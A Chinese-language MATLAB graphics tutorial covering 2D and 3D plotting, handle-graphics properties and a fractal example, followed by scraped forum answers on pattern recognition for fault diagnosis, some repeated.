了解了 MATLAB 的矩阵和向量概念与输入方法之后，MATLAB 的二维绘图再简单也不过了。假设有两个同长度的向量 x 和 y, 则用 plot(x,y) 就可以自动绘制画出二维图来。如果打开过图形窗口，则在最近打开的图形窗口上绘制此图，如果未打开窗口，则开一个新的窗口绘图。
〖例〗正弦曲线绘制：
>> t=0:.1:2*pi; %生成横坐标向量，使其为 0,0.1,0.2,...,6.2
y=sin(t); % 计算正弦向量
plot(t,y) %绘制图形
这样立即可以得出如图所示的二维图 [4.1(a)]
plot() 函数还可以同时绘制出多条曲线，其调用格式和前面不完全一致，但也好理解。
>> y1=cos(t); plot(t,y,t,y1); %或 plot(t,[y; y1]), 即输出为两个行向量组成的矩阵。
图形见 4.1(b)。
plot() 函数最完整的调用格式为：
>> plot(x1,y1,选项1, x2,y2, 选项2, x3,y3, 选项3, ...)
其中所有的选项如表 4.1 所示。一些选项可以连用，如 '-r' 表示红色实线。
由 MATLAB 绘制的二维图形可以由下面的一些命令简单地修饰。如
>> grid % 加网格线
>> xlabel('字符串') % 给横坐标轴加说明
>> ylabel('字符串') % 给纵坐标轴加说明，
%并自动旋转90度
>> title('字符串') % 给整个图形加图题
得出的图形如右图所示。
axis() 函数可以手动地设置 x,y 坐标轴范围
还可以使用 plotyy() 函数绘制具有两个纵坐标刻度的图形。
坐标系的分割在 MATLAB 图形绘制中是很有特色的，比较规则的分割方式是用 subplot() 函数定义的，其标准调用格式为
subplot(n,m,k)
其中，n 和 m 为将图形窗口分成的行数和列数，而 k 为相对的编号。例如在标准的 Bode 图绘制中需要将窗口分为上下两个部分 (即n=2, m=1), 分割后上部编号为 1，下部编号为 2。
MATLAB 的图形对象简介 ( 00-12-13)
MATLAB 从 4.0 版本开始就提出了句柄图形学 (Handle Graphics) 的概念,为面向对象的图形处理提供了十分有用的工具。和早期版本的 MATLAB 相比较，其最大区别在于，它在图形绘制时其中每个图形元素
(比如其坐标轴或图形上的曲线、文字等) 都是一个独立的对象。用户可以对其中任何一个图形元素进行单独地修改，而不影响图形的其他部分，具有这样特点的图形称为向量化的绘图。这种向量化的绘图要求给每个图形元素分配一个句柄 (handle), 以后再对该图形元素做进一步操作时，则只需对该句柄进行操作即可。
MATLAB 5.0 版进一步加强了图形绘制的功能，而 5.3 版绘图又具有自己的新特色。例如它提供了新的图形编辑程序，并定义了一些新的三维绘图函数等。本章将主要介绍 MATLAB 5.3 版本的应用与特性，并介绍部分有关句柄图形学的内容。其余有关句柄图形学的问题，如窗口特性设置、图形界面设计等项内容将在第 6 章中讲述图形界面设计内容时详细介绍。MATLAB 6 也在图形显示，特别是三维图形显示与照相机参数设置等方面引入了新鲜的内容。
MATLAB 定义的各种图形对象及其关系如下图所示。
对象的通用属性如下表所示。
获取和改变对象的属性可以采用 get() 和 set() 函数对来实现。
>> set(句柄, 属性1,属性值1, 属性2,属性值2,...)
>> 属性值=get(句柄，属性)
坐标轴对象时 MATLAB 图形中常用的对象，坐标轴对象可以用 MATLAB 5.3 上的菜单项添加。添加之后，可以用鼠标改变其大小和形状，其他一些属性说明如下：
Box 属性: 表示是否需要坐标轴上的方框，选项可以为 'on' 和 'off', 默认的值为 'on'。本书中在后面介绍属性值时，将把默认的属性值列在前面。
ColorOrder 属性: 设置多条曲线的颜色顺序,应该为一个 n x 3 矩阵， 可以由 colormap() 函数来设置。
GridLineStyle 属性: 网格线类型，如实线、虚线等，其设置类似于 plot() 函数的选项，默认值为 ':',见前面的表格。
NextPlot 属性: 表示坐标轴图形的更新方式，'replace' 是默认的选项，表示重新绘制，而 'add' 选项表示在原来的图形上叠印，它相当于直接使用 hold on 命令的效果。
Title 属性: 本坐标轴标题的句柄。而其具体内容由 title() 函数设定，由此句柄就可以访问到原来的标题了。
XLabel 属性: x 轴标注的句柄，其内容由 xlabel() 函数设定。此外，类似地还有 YLabel 和 ZLabel 属性等。
XDir 属性: x 轴方向,可以选择 'normal' (正向) 和 'rev' (逆向), 此外 YDir 和 ZDir 属性也是类似的。
XGrid 属性: 表示 x 轴是否加网格线，可选值为 'off' 和 'on', 此外还类似地有 YGrid 和 ZGrid 选项。
XLim 属性: x 轴上下限，以向量 [xm,xM] 形式给出。此外，还有 YLim 和 ZLim 属性，前面介绍的 axis() 函数实际上是对这些属性的直接赋值。
XScale 属性: x 轴刻度类型设置，可以为 'linear' (线性的) 和 'log' (对数的)。此外还有 YScale 和 ZScale 属性。
XTick 和 XTickLabel 属性: XTick 属性将给出 x 轴上标尺点值的向量，而 XTickLabel 将存放这些标尺点上的标记字符串。对 y 和 z 轴也将有相应的标尺属性，如 ZTick 等。
MATLAB 图形上的文字修饰 ( 00-12-12)
字符对象及其属性
文字标注是图形修饰中的重要因素，它可以是用户在窗口上随意添加的字符说明，还可以是坐标轴对象中所用到的刻度标志等。字符对象的常用属性如下：
Color 属性: 字符的颜色。该属性的属性值是一个 1x3 颜色向量。
FontAngle 属性: 字体倾斜形式。如正常 'normal' 和斜体 'italic' 等。
FontName 属性: 字体的名称。如 'Times New Roman' 与 'Courier' 等。
FontSize 属性: 字号大小。默认以 pt 为单位，属性值应该为实数。
FontWeight 属性: 字体是否加黑。可以选择 'light'、'normal' (默认值)、'demi' 和 'bold' 4 个选项, 其颜色逐渐变黑。
HorizontalAlignment 属性: 表示文字的水平对齐方式。可以有 'left' (按左边对齐)、'center'
(居中对齐)、'right'(按右边对齐) 三种选择。类似地，对字符矩阵的位置 还有VerticalAlignment 属性。
FontUnits 属性: 字体大小的单位。如 'points' (磅数，即 pt) 为默认的值，此外， 还可以使用如下单位 'inches' (英寸)、'centimeters' (厘米)、'normalized' (归一值) 与 'pixels' (像素) 等。
Rotation 属性: 字体旋转角度。可以为任何数值。
Editing 属性: 是否允许交互式修改。选项可以为 'on' 和 'off'。
String 属性: 构成本字符对象的字符串。可以是字符串矩阵。
Interpreter 属性: 是否允许 TeX 格式。选项为 'tex' (允许 TeX 格式) 和 'none' (不允许) 两种，前者显示的效果好，而后者速度快。
Extent 属性: 字符串所在的位置范围，是只读型的，1x4 向量，前两个值表示字符串所在位置的左下角坐标，而后两个分量分别为字符对象的长和高。
MATLAB 字符串中可以直接使用的一些 TeX 命令见表 4-3。
〖例〗给出下面的MATLAB命令
>> t=['\partial(f_ip)/\partialt=-\Sigma_{i=1}^n\partial(f_ip)/',...
'\partialx_i + 0.5\Sigma_{i=1}^n\Sigma_{j=1}^n',...
'\partial^2(b_{ij}p)/\partialx_i\partialx_j'];
tt=str2mat(t,'Y(\omega)=\int_0^\infty y(t)e^{-j\omegat}dt');
[x,y]=ginput(1); text(x,y,tt);
则将得出如下图所示的结果。看见较复杂的数学公式也可以在 MATLAB 窗口中显示出来。
〖例〗分形理论是一个很有趣的领域，在这里我们给出一个简单的例子。任意选定一个二维平面上的初始点坐标 (x0, y0),假设我们可以生成一个在 [0,1] 区间上均匀分布的随机数 gi,那么根据其取值的大小，可以按下面的公式生成一个新的坐标点 (x1,y1):
从新坐标再根据随机数计算下一个点，如此类推。可以将上面的算法编写出下面的 MATLAB 函数
function [x,y]=frac_tree(x0,y0,v,N)
x=[x0; zeros(N-1,1)]; y=[y0; zeros(N-1,1)];
for i=2:N
vv=v(i);
if vv<0.05, y(i)=0.5*y(i-1);
elseif vv<0.45,
x(i)=0.42*(x(i-1)-y(i-1)); y(i)=0.2+0.42*(x(i-1)+y(i-1));
elseif vv<0.85,
x(i)=0.42*(x(i-1)+y(i-1)); y(i)=0.2-0.42*(x(i-1)-y(i-1));
else,
x(i)=0.1*x(i-1); y(i)=0.1*y(i-1)+0.2;
end
end
调用此函数，我们可以由下面的 MATLAB 命令生成 10,000 个这样的点，并将这些点 在 MATLAB 图形窗口中用点的形式表示出来，如图所示。
>> N=10000; v=rand(N,1);
[x,y]=frac_tree(0,0,v,N);
h=plot(x(1:10000),y(1:10000),'.'),
给出下面的命令可以设置绘图点的大小：
>> set(h,'MarkerSize',4)
对大的 N 值，计算量大，可以考虑采用MEX C格式改写 MATLAB 函数以加快速度。
MATLAB 其他二维图形绘制函数 ( 00-12-21)
除了标准的 plot() 函数外，MATLAB 还提供了一些其他函数，具体调用格式和意义请见下表
这里只给出几个例子：
彗星状轨迹绘制：考虑一个给定函数
f(x)=tan(sin(x))-sin(tan(x))
选定自变量~$x$ 的变化范围为 x 属于 [-p,p], 则可以由下面的函数绘制出不同模式的图形。
>> x=-pi:pi/200:pi;
y=tan(sin(x))-sin(tan(x)); comet(x,y);
极坐标曲线绘制：用 polar(r,t) 函数，其中 r 为幅值向量，t 为角度向量。
〖例〗绘制 r=cos(5q/4)+1/3; 其中 q 属于[0,8p], 绘制极坐标曲线。
〖解〗 MATLAB 命令
>> t=0:.1:8*pi; r=cos(5*t/4)+1/3;
polar(t,r)
利用下面的 MATLAB 提供的绘图命令可以绘制出各种各样的二维曲线。
>> x=-2:0.1:2; y=sin(x);
subplot(221);
feather(x,y); xlabel('(a) feather()')
subplot(222);
stairs(x,y); xlabel('(b) stairs()')
subplot(223);
stem(x,y); xlabel('(c) stem()')
subplot(224);
fill(x,y,'r'); xlabel('(d) fill()')
考察 MATLAB 的 Gauss 伪随机数发生函数 randn() 的分布效果，首先生成 30,000 个 Gauss 伪随机数，然后由 hist() 函数绘制出该伪随机数的分布函数，并和概率密度的理论值
相比较。 这一分析的 MATLAB 语句如下
>> y=randn(1,30000); xx=-3.8:0.4:3.8;
zz=hist(y,xx); zz=zz/(30000*0.4);
x1=-3.8:0.1:3.8;
y1=1/sqrt(2*pi)*exp(-x1.^2/2);
bar(xx,zz),
hold on, plot(x1,y1); hold off
半对数与全对数坐标系: 可以使用 semilogx(), semilogy() 和 loglog()。
>> theta=0:0.1:6*pi; r=cos(theta/3)+1/9;
subplot(2,2,1), polar(theta, r);
subplot(2,2,2); plot(theta, r);
subplot(2,2,3); semilogx(theta, r); grid
subplot(2,2,4); semilogy(theta, r), grid
MATLAB 语言的三维曲线绘制( 00-12-27)
三维曲线绘制
类似于二维曲线，三维曲线的标准绘制函数为 plot3()。例如，x=cos(t), y=sin(t) 和 z=t 的数学关系可以由下面语句绘制出来：
>> t=0: pi/50: 2*pi;
x=sin(t); y=cos(t); z=t;
h=plot3(x, y, z, 'g-')
set(h,'LineWidth',4*get(h,'LineWidth'))
三维网格图
可以由 mesh() 函数绘制，其调用方法是 mesh(x,y,z), 其中 x, y, z 是网格上的三坐标矩阵。一般情况下，x 和 y 由 meshgrid() 函数生成。
〖例4-17〗考虑下面给出的二元函数，在 x, y 平面内选择一个区域，然后绘制出
的三维表面图形。
首先可以调用 meshgrid() 函数生成 x 和 y 平面的网格表示。该函数的调用意义十分明显，即可以产生一个横坐标起始于-3, 中止于 3, 步距为 0.1; 纵坐标起始于-2, 中止于2, 步距 为 0.1 的网格分割。然后由公式计算出曲面的 z 矩阵。最后调用 mesh() 函数 绘制曲面的三维表面网格图形。
>> [x,y] = meshgrid(-3:0.1:3,-2:0.1:2);
z=(x.^2-2*x).*exp(-x.^2-y.^2-x.*y);
mesh(x,y,z)
三维表面图
同样的数据在 surf() 函数下能得出如下所示的表面图 (a)。在绘图后再给出 colorbar 目录，则将得出如 (b) 图所示的带有高度指示的三维表面图。
三维对象的设置
surf() 和 mesh() 函数绘制出来的三维图实际上是一个 MATLAB 图形对象，它有各种各样的属性，例如，其 MeshStyle 属性表示其网格的类型，既可以设置成水平的，又可以设置成垂直的。下面的语句将得出下图的网格效果：
>> [x,y] = meshgrid(-3:0.1:3,-2:0.1:2); z=(x.^2-2*x).*exp(-x.^2-y.^2-x.*y);
h=surf(x,y,z), axis([-3 3 -2 2 -0.7 1.5]); set(h,'MeshStyle','row');
figure; h1=surf(x,y,z), axis([-3 3 -2 2 -0.7 1.5]); set(h1,'MeshStyle','column');
三维图表面着色插值的修饰
MATLAB 在三维图绘制时，表面着色采用了各种各样的插值方法，其中 shading flat 和 shading interp 两个命令将方便得出如下的图形。前者将各个表面块用同样的颜色表示，而后者对表面块的着色也进行了插值处理，使其表面显得更光滑。
MATLAB 图形的可视编辑
从 MATLAB 5.3 版开始，就提供了图形编辑的方便功能。在标准的MATLAB图形窗口中有一个“图形编辑工具条”，其中提供了各种工具，允许用户自由地在图形上添加文字，箭头、曲线等，还允许用户任意地进行三维图的视角变换。除了工具条上的工具外，还允许用户自如地在图形窗口上添加、调整坐标系或进行一些标注文字的修饰。典型窗口及编辑工具条如下所示。
如果想修改某个曲线的特征，则可以在编辑状态下(即按下工具条中左边的箭头按钮)，首先单击想改动的对象来选择它，然后右击鼠标键，得出相应的快捷菜单，从中选择相应的菜单项，从得出的对话框中对选中对象的属性进行修改。
对三维图形对象，还可以用工具条中最右边的按钮来控制三维图的旋转。
©2000 版权所有 转载请注明出处并加上本站链接
(本站版面设计参考了CTeX网站的主页，并得到网站版主aloft与eggs的极大帮助，特此致谢)
主页维护: 薛定宇 自2000年11月3日访问量 (“炎黄在线”计数器)
我觉得你问的是一个算法的问题，只是matlab适合编写实验性研究型的程序比较方便。这个问题应该属于模式识别领域，见：
http://en.wikipedia.org/wiki/Pattern_Recognition
就是说每一个特征向量（即几个特征的值）对应一种故障类型，已经知道了很多特征向量和故障类型的对应（就是很多个样本），现在有一个新的特征向量，但对应的故障类型未知，希望有一种算法能根据以往的对应关系推测出这个未知的故障类型。
方法有很多，比如线性判别函数、神经网络、近邻法、决策树、SVM等等，用哪一种关键看场合。要知道你的问题才行。matlab里不一定有现成的函数。可以看下这本书：
http://www.yuedu.org/books/book-200510111209150b.htm
但是我没有qq
MATLAB
MATLAB是矩阵实验室（Matrix Laboratory）之意。除具备卓越的数值计算能力外，它还提供了专业水平的符号计算，文字处理，可视化建模仿真和实时控制等功能。
MATLAB的基本数据单位是矩阵，它的指令表达式与数学,工程中常用的形式十分相似,故用MATLAB来解算问题要比用C,FORTRAN等语言完相同的事情简捷得多.在新的版本中也加入了对C,FORTRAN,c++,JAVA的支持.可以直接调用.
MATLAB的基础是矩阵计算,但是由于他的开放性,并且mathwork也吸收了想maple等软件的优点,使MATLAB成为一个强大的数学软件
当前流行的MATLAB 6.5/7.0包括拥有数百个内部函数的主包和三十几种工具包(Toolbox).工具包又可以分为功能性工具包和学科工具包.功能工具包用来扩充MATLAB的符号计算,可视化建模仿真,文字处理及实时控制等功能.学科工具包是专业性比较强的工具包,控制工具包,信号处理工具包,通信工具包等都属于此类.
开放性使MATLAB广受用户欢迎.除内部函数外,所有MATLAB主包文件和各种工具包都是可读可修改的文件,用户通过对源程序的修改或加入自己编写程序构造新的专用工具包.
我觉得你问的是一个算法的问题，只是matlab适合编写实验性研究型的程序比较方便。这个问题应该属于模式识别领域，见：
http://en.wikipedia.org/wiki/Pattern_Recognition
就是说每一个特征向量（即几个特征的值）对应一种故障类型，已经知道了很多特征向量和故障类型的对应（就是很多个样本），现在有一个新的特征向量，但对应的故障类型未知，希望有一种算法能根据以往的对应关系推测出这个未知的故障类型。
方法有很多，比如线性判别函数、神经网络、近邻法、决策树、SVM等等，用哪一种关键看场合。要知道你的问题才行。matlab里不一定有现成的函数。可以看下这本书：
http://www.yuedu.org/books/book-200510111209150b.htm
这是一个很典型的模式识别的应用问题，特征值组成的向量(特征向量)可看成空间中的一点，如果特征值的个数n大于3，则是一个n维空间。利用已知的特征值和故障的对应关系可将这个n维空间划分为几个区域，分别是无故障区域和各种故障的区域。问题就转变成了求各分界面的问题，有了分界面就能对故障情况未知的特征值进行判断了。Matlab最适合解决这类涉及矩阵和向量的问题，具体的算法建议还是看一看模式识别方面的书，我的推荐是Richard O. Duda等人所著的Pattern Classification。
我觉得你问的是一个算法的问题，只是matlab适合编写实验性研究型的程序比较方便。这个问题应该属于模式识别领域，见：
http://en.wikipedia.org/wiki/Pattern_Recognition
就是说每一个特征向量（即几个特征的值）对应一种故障类型，已经知道了很多特征向量和故障类型的对应（就是很多个样本），现在有一个新的特征向量，但对应的故障类型未知，希望有一种算法能根据以往的对应关系推测出这个未知的故障类型。
方法有很多，比如线性判别函数、神经网络、近邻法、决策树、SVM等等，用哪一种关键看场合。要知道你的问题才行。matlab里不一定有现成的函数。可以看下这本书：
http://www.yuedu.org/books/book-200510111209150b.htm
内容全部来源于网络收集，如有侵权，请联系网站删除：QQ：24596024